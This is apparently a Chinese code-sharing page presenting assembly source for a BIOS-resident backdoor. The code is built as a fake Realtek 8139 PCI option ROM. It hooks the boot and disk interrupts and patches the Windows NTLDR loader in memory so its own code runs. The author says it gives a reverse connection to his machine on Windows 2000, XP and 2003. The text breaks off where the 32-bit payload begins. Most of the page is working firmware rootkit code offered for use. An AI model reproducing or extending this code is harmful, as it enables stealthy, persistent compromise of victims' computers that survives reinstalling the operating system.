?? bios hide telnet back door.txt
字號:
以下源代碼采用編輯工具MASMPlus,直接拷貝到這里可能有格式上的問題,做了簡單的調(diào)整!
調(diào)試了幾臺我這兒的計算機,以網(wǎng)卡8139PCI模塊加入BIOS刷入芯片,在調(diào)試計算機上安裝
win2k/xp/2003及操作系統(tǒng)運行后,以下源代碼都能正常的反向連接到我指定的計算機上.
.586p ;編譯工具:ML /AT *.asm ML(masm)版本6.11,BIOS中隱藏Telnet后門.
.Model Tiny
;*****************************************************************************************************************************************ROM_IMAGE_SIZE equ 4 ;整個模塊大小單位KB,固定大小4KB.
CSL_KERNEL_DEST equ 0FFDF0800h ;SharedUserData數(shù)據(jù)結(jié)構(gòu)線性地址.
CSL_USER_BACKDOOR equ 07FFE0800h ;SharedUserData數(shù)據(jù)結(jié)構(gòu)線性地址.
;*****************************************************************************************************************************************RealCode segment use16
Code16Start:
;***************************************************************************************************************************************** org 00h ;####注意:置代碼開始地址以便于確定定置.####,****設(shè)置開始偏移:000h****
dw 0AA55h ;####注意:ROM頭格式標識可以生氣獨立ROM.####,****標識開始偏移:000h****
db ROM_IMAGE_SIZE*2 ;####注意:ROM長度(單位:512B,塊)最小8塊.####,****長度開始偏移:002h****
jmp MyROMCodeStart ;####注意:修改ROM模擬跳轉(zhuǎn)指令到這里執(zhí)行####,****指令開始偏移:003h****
org 06h ;####注意:編譯器根據(jù)偏移長度選擇JMP命令####,****JMP[rel16]長:003h****
ReturnOldROM: ;####注意:把數(shù)據(jù)放在頭部以便于確定位置.####,****標識開始偏移:006h****
db 0e9h,0,0 ;####注意:執(zhí)行完跳轉(zhuǎn)到舊的ROM代碼跳轉(zhuǎn)處####,****指令數(shù)據(jù)偏移:007h****
db 'CHKSUM=',0 ;####注意:填寫我們修改后的ROM數(shù)據(jù)檢驗和####,****數(shù)據(jù)偏移地址:010h****
;***************************************************************************************************************************************** org 18h ;編譯成支持PCI設(shè)備的模塊:PCI ROM固定大小4KB,其他參看"PCI 2.2規(guī)范"教程
dd 34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;硬件realtek PCI8139網(wǎng)卡
;*****************************************************************************************************************************************MyROMCodeStart:
pushf
pushad
push es
push ds
sti ;打開中斷,以便接收鍵盤輸入.
mov cx,0ffffh ;等待,約為兩二秒的按鍵消息.
call WaitPressScrollKey
.if !CARRY? ;若按下Scroll Lock鍵,不運行我們的程序.
;***************************************************************************************************************************************** xor ax,ax
mov es,ax
mov eax,es:[19h*4]
mov es:[84h*4],eax ;借用中斷向量84H,保存中斷向量19H.
mov bx,es:[413h] ;40:13,BIOS數(shù)據(jù)區(qū)保存常規(guī)的內(nèi)存大小,單位:KBs.
and bl,NOT 3 ;注意:要求分配的物理內(nèi)存地址,以頁作為基地址 .
sub bx,4
mov es:[413h],bx
shl bx,(10-4) ;bx *= 1024 / 16 (KBs->線性地址=KBs*1024,段:除以16)
mov es,bx
xor di,di ;es:di -> 分配的實模式高端內(nèi)存前半部分開始處.
push cs
pop ds
call GetCurrentAddr ;offset Code16End = offset Code32Start
GetCurrentAddr:
pop si ;si->GetCurrentAddr在內(nèi)存的地址
mov dx,si
add si,Code16End - GetCurrentAddr ;ds:si->Code16End保護模式代碼段內(nèi)存的地址.
cld
mov cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4 ;拷貝保護模式代碼數(shù)據(jù)到分配內(nèi)存的前半部分.
rep movsd
add bx,100h
mov es,bx
xor di,di ;es:0->分配的實模式高端內(nèi)存后半部分開始處.
mov si,dx
sub si,GetCurrentAddr - Code16Start ;ds:si->Code16Start實模式代碼的內(nèi)存的地址.
mov cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4 ;拷貝 實模式代碼數(shù)據(jù)到分配內(nèi)存的后半部分.
rep movsd
xor bx,bx
mov ds,bx
add dx,NewINT19H - GetCurrentAddr ;dx->NewINT19H內(nèi)存的地址
mov ds:[19h*4],dx
mov ds:[(19h*4) + 2],es ;設(shè)置成我們的INT19H服務(wù)代碼
;***************************************************************************************************************************************** .endif
pop ds
pop es
popad
popf
;jmp ReturnOldROM ;跳轉(zhuǎn)到原來的ROM代碼的跳轉(zhuǎn)處執(zhí)行
retf
;*****************************************************************************************************************************************WaitPressScrollKey: ;函數(shù)入口:CX=350約為10ms, 函數(shù)延時: 33(us)
push ax
.repeat
in al,60h
.if al == 46h ;Scroll Lock鍵掃描碼:46h
stc
pop ax
ret
.endif
in al,61h
test al,010h
.continue .if !ZERO?
.repeat
in al,61h
test al,10h
.until !ZERO?
dec cx
.until cx == 0
clc
pop ax
ret
;*****************************************************************************************************************************************NewINT19H:
pushf
;cli
push eax
push es
;jmp $ ;bochs調(diào)試1#.
xor ax,ax
mov es,ax
mov eax,es:[84h*4]
mov es:[19h*4],eax ;恢復(fù)中斷向量19H值.
mov eax,es:[13h*4]
.if es:[85h*4] != eax
mov es:[85h*4],eax ;借用中斷向量85H,保存中斷向量13H.reserved for BASIC 82h~85h
mov word ptr es:[13h*4],NewINT13H ;設(shè)置NewINT13H在內(nèi)存的地址.
mov es:[(13h*4) + 2],cs ;設(shè)置成我們的INT13H服務(wù)代碼
.endif
pop es
pop eax
popf ;恢復(fù)現(xiàn)場
int 84h ;調(diào)用舊的中斷向量19H.
iret
;*****************************************************************************************************************************************NewINT13H:
pushf ;有指令要改變標志寄存器值.
test ah, 0bdh ;是不是讀數(shù)據(jù)到內(nèi)存?ah=02,ah=42h.
.if !ZERO? ;ZF=0
popf
int 85h ;調(diào)用舊的中斷向量13H.
iret
.endif
mov word ptr cs:[INT13LASTFUNCTION],ax
popf
int 85h ;調(diào)用舊的中斷向量13H.
.if CARRY? ;CF=1,讀失敗退出服務(wù)
iret
.endif
pushf
;cli
push es
pushad
;jmp $ ;bochs調(diào)試2#.可輸入指令:u cs:ip + 2.觀察INT13LASTFUNCTION的值.
mov ax,00h
INT13LASTFUNCTION EQU $-2
.if ah == 42h
lodsw
lodsw ;參看"擴展INT13H規(guī)范"ds:[si + 2]指傳輸塊數(shù).
les bx,[si] ;ds:[si + 04h]表示: 傳輸用的緩沖區(qū)內(nèi)存地址.
.endif
.if al != 00h
xor cx,cx
mov cl,al
mov al,8Bh ;設(shè)置搜索標志的第一個字節(jié).
shl cx,9 ;(CX * 200h) 搜索搜索計數(shù).
mov di,bx ;8B F0 85 F6 74 21 80 3D:MOV ESI,EAX TEST ESI,ESI JZ $+23h CMP BYTE PTR [ofs32], imm8
cld ;NTLDR OSLoder模塊里的6字節(jié)做為標志,進行HOOK.注意:選擇HOOK位置很關(guān)鍵!
.while 1
repne scasb
.break .if !ZERO?
.continue .if dword ptr es:[di] != 74F685F0h
.continue .if word ptr es:[di+4] != 8021h
;(es:di - 1)->我們想被HOOK的指令代碼開始處.
;mov byte ptr es:[di-8],0ebh ;jmp $指令十六進制值0xebfe,設(shè)置在NTLDR暫停.
;mov byte ptr es:[di-7],0feh
;設(shè)置在NTLDR被HOOK指令處暫停:指令地址[0x31adf1]8:31adf1,注意:INT13H服務(wù)中讀取NTLDR數(shù)據(jù),
;檢測HOOK標識代碼后,設(shè)置HOOK時用的指令及計算指令地址.因為NTLDR數(shù)據(jù)會被搬移到內(nèi)存高端處.
xor eax,eax
mov ax,cs
sub ax,100h ;ax->保護模式代碼段
mov bx,ax
shl eax,4 ;eax->保護模式代碼段在內(nèi)存的物理地址.
mov word ptr es:[di-1],15ffh ;##FFh/15h:使用CALL NEAR [OFS32]指令進行NTLDR HOOK##
mov es:[di+1],eax ;##設(shè)置CALL NEAR [OFS32]指令跳轉(zhuǎn)地址,指令占6個字節(jié)##
;通過上面獲取NTLDR被HOOK處的運行地址:0x31adf1,用bochs調(diào)試暫停b 0x31adf1,觀察我們的HOOK方式對否?.
mov es,bx
or es:[(KEASSTHOOK_PTE - Code32Start)],eax
add eax,4 ;eax->NTLDRCallAddr + 4,設(shè)置成我們的32位代碼開始處執(zhí)行.
mov dword ptr es:[0],eax ;es:[0]->保護模式段內(nèi)變量NTLDRCallAddr所在內(nèi)存虛擬地址.
;jmp $ ;bochs調(diào)試3#可用xp es:di - 1觀察HOOK情況及r顯示寄存器.
.endw
.endif
popad
pop es
popf
iret
;*****************************************************************************************************************************************Code16End: ;offset Code32Start = offset Code16End
RealCode ends
;*****************************************************************************************************************************************ProtectCode segment byte use32 ;##########可工作在32位保護模式的代碼#########
Code32Start: ;offset NTLDRCallAddr = offset Code32Start = offset Code16End
NTLDRCallAddr dd ?
;jmp $ ;bochs調(diào)試4#,參看在NewINT13H調(diào)試為什么沒運行到這里?
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -